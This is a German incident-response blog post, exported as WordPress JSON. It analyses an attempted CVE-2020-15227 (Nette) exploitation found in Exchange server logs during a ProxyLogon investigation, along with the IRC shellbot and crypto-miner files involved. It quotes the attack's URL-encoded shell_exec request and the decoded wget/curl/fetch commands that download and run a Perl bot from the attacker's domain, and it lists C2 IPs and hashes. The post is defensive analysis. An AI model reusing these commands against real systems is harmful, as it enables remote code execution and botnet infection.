{"id":14808,"date":"2021-06-15T10:45:33","date_gmt":"2021-06-15T08:45:33","guid":{"rendered":"https:\/\/www.secuinfra.com\/?p=14808"},"modified":"2022-03-31T12:26:06","modified_gmt":"2022-03-31T10:26:06","slug":"incident-response-diary","status":"publish","type":"post","link":"https:\/\/testing.secuinfra.com\/de\/techtalk\/incident-response-diary\/","title":{"rendered":"Incident Response Diary"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_83 counter-flat ez-toc-counter ez-toc-white ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">[inhalt_uebersetzt]<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/testing.secuinfra.com\/de\/techtalk\/incident-response-diary\/#Ueberblick\" >\u00dcberblick<\/a><\/li><li class='ez-toc-page-1'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/testing.secuinfra.com\/de\/techtalk\/incident-response-diary\/#Identifizierung_der_IOCs\" >Identifizierung der IOCs<\/a><\/li><li class='ez-toc-page-1'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/testing.secuinfra.com\/de\/techtalk\/incident-response-diary\/#Fazit\" >Fazit<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Ueberblick\"><\/span>\u00dcberblick<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Zum Zeitpunkt des Einsatzes war das gro\u00dffl\u00e4chige Ausnutzen der Sicherheitsl\u00fccken noch recht neu, aus diesem Grund haben wir unter anderem den Blogbeitrag von <a  href=\"https:\/\/www.volexity.com\/blog\/2021\/03\/02\/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities\/\"  dpc-external=\"true\"  target=\"_blank\"  rel=\"nofollow\" >Volexity<\/a>\u00a0verwendet, um IOCs zu identifizieren. Ein m\u00f6glicher IOC war der User-Agent <em>python-<\/em>requests\/*.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Identifizierung_der_IOCs\"><\/span>Identifizierung der IOCs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Im Rahmen unserer Analyse konnten neben den erwarteten IOCs f\u00fcr die ProxyLogon\/Hafnium Schwachstelle zus\u00e4tzlich ein IOC einer anderen Sicherheitsl\u00fccke identifiziert werden. Der folgende Auszug wurde den httpproxy-Logs des betroffenen Exchange Servers entnommen und deutet auf die versuchte Ausnutzung der <a  href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-15227\"  dpc-external=\"true\"  target=\"_blank\"  rel=\"nofollow\" >CVE-2020-15227<\/a>\u00a0hin. Hierbei handelt es sich um eine Schwachstelle in dem PHP-Framework \u201eNette\u201c.<\/p>\n<blockquote>\n<pre><code class=\"language-python\">Python-urllib\/3.5,192.168.1.247,&lt;HOSTNAME&gt;,\u00a0url=https%3a%2f%2f&lt;IP-Address&gt;%2fo wa%2fnette.micro%23call- back%3\r\ndshell_exec%26cmd%3dcd%2b%2 52ftmp%253bwget%2band- mee.com%252f.x%252fb%253bcurl%2b- O%2bhttp%253a%252f%252f\r\nandmee.com%252f.x%252fb%253bfetch%2bht tp%253a%252f%252fand- mee.com%252f.x%252fb%253bperl%2bb %253brm%2b-rf%2bb*&amp;\r\nreason=0,,Begin- Request=2021-02-26T09:25:09.655Z; End-Request=2021-02-26T09:25:09.656Z;,,,<\/code><\/pre>\n<\/blockquote>\n<p>Die Schwachstelle erm\u00f6glicht, unter bestimmten Umst\u00e4nden, eine Remote Code Execution. Der oben aufgef\u00fchrte Aufruf konnte in folgende Befehle dekodiert werden.<\/p>\n<ul>\n<li>https:\/\/&lt;IP-Address&gt;%\/owa\/<strong>nette.micro<\/strong>#callback=shell_exec&amp;cmd=cd \/tmp\u00a0wget\u00a0andmee[.]com\/.x\/b<\/li>\n<li>curl -O http:\/\/andmee[.]com\/.x\/b<\/li>\n<li>fetch http:\/\/andmee[.]com\/.x\/b<\/li>\n<li>perl\u00a0b rm -rf b<\/li>\n<\/ul>\n<p>Die Befehle haben das Ziel das Perl-Skript <em>b <\/em>\u00a0von der Dom\u00e4ne andmee[.]com herunterzuladen, auszuf\u00fchren und anschlie\u00dfend das Skript zu l\u00f6schen.<\/p>\n<p>Nach unserer Recherche wurde das Perl-Skript, in einer abge\u00e4nderten Form, erstmals im Jahr 2007 <a  href=\"https:\/\/www.inforge.net\/forum\/threads\/stealth-shellbot-vers%D0%B3o-0-2-by-thiago-x.155975\/\"  dpc-external=\"true\"  target=\"_blank\"  rel=\"nofollow\" >ver\u00f6ffentlicht<\/a>. Die Kommunikation zwischen dem Zombie sowie dem Command and Control (C2) Server erfolgt \u00fcber einen Internet Relay Chat (IRC).<br \/>\nDie kompromittierten Systeme des Botnets verf\u00fcgen \u00fcber Funktionen wie beispielsweise DDoS-, Portscan- und File Download-Routinen.<\/p>\n<p>Innerhalb des Perl-Skriptes \u00e4nderte der Angreifer lediglich Konfigurationen. Dies beinhaltet beispielsweise die C2 IP-Adresse, den genutzten Port sowie die Namen des IRC-Channels. Auf Basis unserer Code-Analyse entschieden wir uns daf\u00fcr das Skript <em>b<\/em> innerhalb unseres Malware-Labors auszuf\u00fchren und den Netzwerkverkehr mitzuschneiden. Nachfolgend ein Screenshot des Netzwerkverkehrs der Datei <em>b.<\/em><\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone wp-image-14810\" src=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/Wireshark_\u00b7_Follow_TCP_Stream__tcp_stream_eq_1__\u00b7_andmee_d_blurred-300x159.png\" alt=\"\" width=\"521\" height=\"276\" srcset=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_\u00b7_Follow_TCP_Stream__tcp_stream_eq_1__\u00b7_andmee_d_blurred-300x159.png 300w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_\u00b7_Follow_TCP_Stream__tcp_stream_eq_1__\u00b7_andmee_d_blurred-1024x541.png 1024w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_\u00b7_Follow_TCP_Stream__tcp_stream_eq_1__\u00b7_andmee_d_blurred-768x406.png 768w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_\u00b7_Follow_TCP_Stream__tcp_stream_eq_1__\u00b7_andmee_d_blurred-1536x812.png 1536w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_\u00b7_Follow_TCP_Stream__tcp_stream_eq_1__\u00b7_andmee_d_blurred-24x13.png 24w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_\u00b7_Follow_TCP_Stream__tcp_stream_eq_1__\u00b7_andmee_d_blurred-36x19.png 36w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_\u00b7_Follow_TCP_Stream__tcp_stream_eq_1__\u00b7_andmee_d_blurred-48x25.png 48w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_\u00b7_Follow_TCP_Stream__tcp_stream_eq_1__\u00b7_andmee_d_blurred.png 1918w\" sizes=\"(max-width: 521px) 100vw, 521px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>Oben aufgef\u00fchrter Screenshot zeigt die initiale Verbindung zum dem IRC-Botnet. Es konnte keine weitere Kommunikation festgestellt werden.<br \/>\nWir entschieden uns deshalb dazu, eine manuelle Verbindung \u00fcber einen IRC-Client, herzustellen.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-14827\" src=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/IRC_xmr1_blurred-300x104.png\" alt=\"\" width=\"747\" height=\"259\" srcset=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_xmr1_blurred-300x104.png 300w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_xmr1_blurred-1024x356.png 1024w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_xmr1_blurred-768x267.png 768w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_xmr1_blurred-1536x534.png 1536w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_xmr1_blurred-2048x712.png 2048w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_xmr1_blurred-24x8.png 24w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_xmr1_blurred-36x13.png 36w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_xmr1_blurred-48x17.png 48w\" sizes=\"(max-width: 747px) 100vw, 747px\" \/><\/p>\n<p>Zum Zeitpunkt unserer Analyse befand sich kein weiterer Teilnehmer, bis auf den Operator des Channels, in dem IRC-Chat.<\/p>\n<p>Im n\u00e4chsten Schritt unserer Analyse sahen wir uns den Inhalt des Ordners .x auf dem Webserver an.<br \/>\nDer nachfolgende Screenshot zeigt eine Auflistung der Dateien, welche sich in dem Repository befanden.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-14832\" src=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/index_of_x_blurred-142x300.png\" alt=\"\" width=\"278\" height=\"587\" srcset=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/index_of_x_blurred-142x300.png 142w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/index_of_x_blurred-484x1024.png 484w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/index_of_x_blurred-768x1624.png 768w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/index_of_x_blurred-726x1536.png 726w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/index_of_x_blurred-11x24.png 11w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/index_of_x_blurred-17x36.png 17w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/index_of_x_blurred-23x48.png 23w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/index_of_x_blurred.png 511w\" sizes=\"(max-width: 278px) 100vw, 278px\" \/><\/p>\n<p>Wir sahen uns neben der Datei <em>b<\/em> weitere Dateien innerhalb des Repositories an. Dies umfasst beispielsweise die Unterordner \/.s sowie \/.p. Beide Unterordner beinhalteten \u00e4hnliche Dateien. Hierzu z\u00e4hlt beispielsweise die Datei crond, welche nach unserer Recherche Crypto-Miner (z0Miner) sind.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-14815\" src=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/FALCON_DFIR_1_-300x60.png\" alt=\"\" width=\"555\" height=\"111\" srcset=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/FALCON_DFIR_1_-300x60.png 300w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/FALCON_DFIR_1_-1024x205.png 1024w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/FALCON_DFIR_1_-768x154.png 768w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/FALCON_DFIR_1_-24x5.png 24w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/FALCON_DFIR_1_-36x7.png 36w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/FALCON_DFIR_1_-48x10.png 48w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/FALCON_DFIR_1_.png 1356w\" sizes=\"(max-width: 555px) 100vw, 555px\" \/><\/p>\n<p>Neben der anfangs erw\u00e4hnten Datei <em>b<\/em> analysierten wir die Datei <em>bot<\/em>.<br \/>\nDie Ausf\u00fchrung des Perl-Skriptes <em>bot <\/em>innerhalb unseres Malware-Analyse Labors lie\u00df uns den nachfolgenden Netzwerkmittschnitt aufzeichnen:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-14816\" src=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/Wireshark_IRC-Communication_blurred-300x186.png\" alt=\"\" width=\"665\" height=\"412\" srcset=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_IRC-Communication_blurred-300x186.png 300w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_IRC-Communication_blurred-1024x636.png 1024w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_IRC-Communication_blurred-768x477.png 768w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_IRC-Communication_blurred-1536x954.png 1536w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_IRC-Communication_blurred-24x15.png 24w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_IRC-Communication_blurred-36x22.png 36w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_IRC-Communication_blurred-48x30.png 48w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/Wireshark_IRC-Communication_blurred.png 1932w\" sizes=\"(max-width: 665px) 100vw, 665px\" \/><\/p>\n<p>Zum Zeitpunkt der Analyse konnten keine Befehle identifiziert werden, welche \u00fcber den IRC-Channel an das Botnet \u00fcbertragen wurden.<br \/>\nF\u00fcr eine weitere Analyse des IRC-Servers haben wir uns dazu entschlossen, erneut eine manuelle Verbindung zu dem IRC-Server aufzubauen. Nachdem wir uns erfolgreich verbinden konnten, konnten wir 22 aktive Teilnehmer im Channel #cocina identifizieren. #cocina ist der Channel auf dem IRC-Server, welcher im Skript angegeben war.<br \/>\nWir konnten jedoch nicht feststellen, ob es sich bei den Teilnehmern um infizierte Systeme handelt, welche auf Befehle warten oder ob es sich hierbei um andere IT-Security-Researcher handelt.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-14817\" src=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/IRC_cocina_blurred-300x112.png\" alt=\"\" width=\"683\" height=\"255\" srcset=\"https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_cocina_blurred-300x112.png 300w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_cocina_blurred-1024x382.png 1024w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_cocina_blurred-768x287.png 768w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_cocina_blurred-1536x573.png 1536w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_cocina_blurred-24x9.png 24w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_cocina_blurred-36x13.png 36w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_cocina_blurred-48x18.png 48w, https:\/\/testing.secuinfra.com\/wp-content\/uploads\/\/IRC_cocina_blurred.png 1816w\" sizes=\"(max-width: 683px) 100vw, 683px\" \/><\/p>\n<p>W\u00e4hrend unserer Betrachtungszeit des IRC-Channels konnte keine weitere Kommunikation zwischen uns und dem IRC-Channel festgestellt werden. Ebenso fand keine Kommunikation innerhalb des Channels statt.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Fazit\"><\/span><strong>Fazit<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Wie immer gilt auch in diesem Szenario: Fr\u00fches sowie h\u00e4ufiges patchen!<\/p>\n<p>Sobald ein \u00f6ffentlich zug\u00e4nglicher Proof of Concept f\u00fcr eine Schwachstelle verf\u00fcgbar ist, sollten die betroffenen Systeme aktualisiert sein. Sofern die Installation der Hotfixes zeitnah nicht m\u00f6glich ist, sollten die Systeme isoliert werden, um einen m\u00f6glichen Schaden zu verhindern.<br \/>\nIm Rahmen unseres Einsatzes konnte die Schwachstelle CVE-2020-15227 nicht ausgenutzt werden, da der betroffene Kunde das PHP-Framework nicht einsetzte.<\/p>\n<p><strong>MD5\u00a0h<\/strong><strong>ashes<\/strong><strong>\u00a0<\/strong><strong>\u00a0<\/strong><\/p>\n<ul>\n<li>\/.s\/crond\u00a0= 373b018bef17e04d8ff29472390403f9<\/li>\n<li>\/.p\/crond\u00a0= 9d099882a24757ac5033b0c675fecbe5<\/li>\n<li>bot\u00a0= 4f894225ec322479a73a4396689494ac<\/li>\n<li>b = 1cac8098cd20b6c9e9c82542946795b3<\/li>\n<\/ul>\n<p><strong>IP-Addresses\/Domains<\/strong><strong>\u00a0<\/strong><\/p>\n<ul>\n<li>5.39.217[.]212 (IRC Server\u00a0from\u00a0bot)<\/li>\n<li>198.98.61[.]106 (IRC Server\u00a0from\u00a0b)<\/li>\n<li>64.32.6[.]143 (IRC Server\u00a0from\u00a0nnx)<\/li>\n<li>pool.supportxmr[.]com:3333 (pool\u00a0url\u00a0from\u00a0.p\/confg.json)<\/li>\n<li>85.204.116[.]140:443 (pool\u00a0ip\u00a0from\u00a0.s\/config.json)<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Im Rahmen unserer Analyse konnten neben den erwarteten IOCs f\u00fcr die ProxyLogon\/Hafnium Schwachstelle zus\u00e4tzlich ein IOC einer anderen Sicherheitsl\u00fccke identifiziert werden.<\/p>\n","protected":false},"author":6,"featured_media":27641,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[79,80,66],"tags":[],"dpc_coauthors":[],"class_list":["post-14808","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-digital-forensics","category-incident-response","category-techtalk"],"acf":[],"_links":{"self":[{"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/posts\/14808","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/comments?post=14808"}],"version-history":[{"count":0,"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/posts\/14808\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/media\/27641"}],"wp:attachment":[{"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/media?parent=14808"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/categories?post=14808"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/tags?post=14808"},{"taxonomy":"dpc_coauthors","embeddable":true,"href":"https:\/\/testing.secuinfra.com\/de\/wp-json\/wp\/v2\/dpc_coauthors?post=14808"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}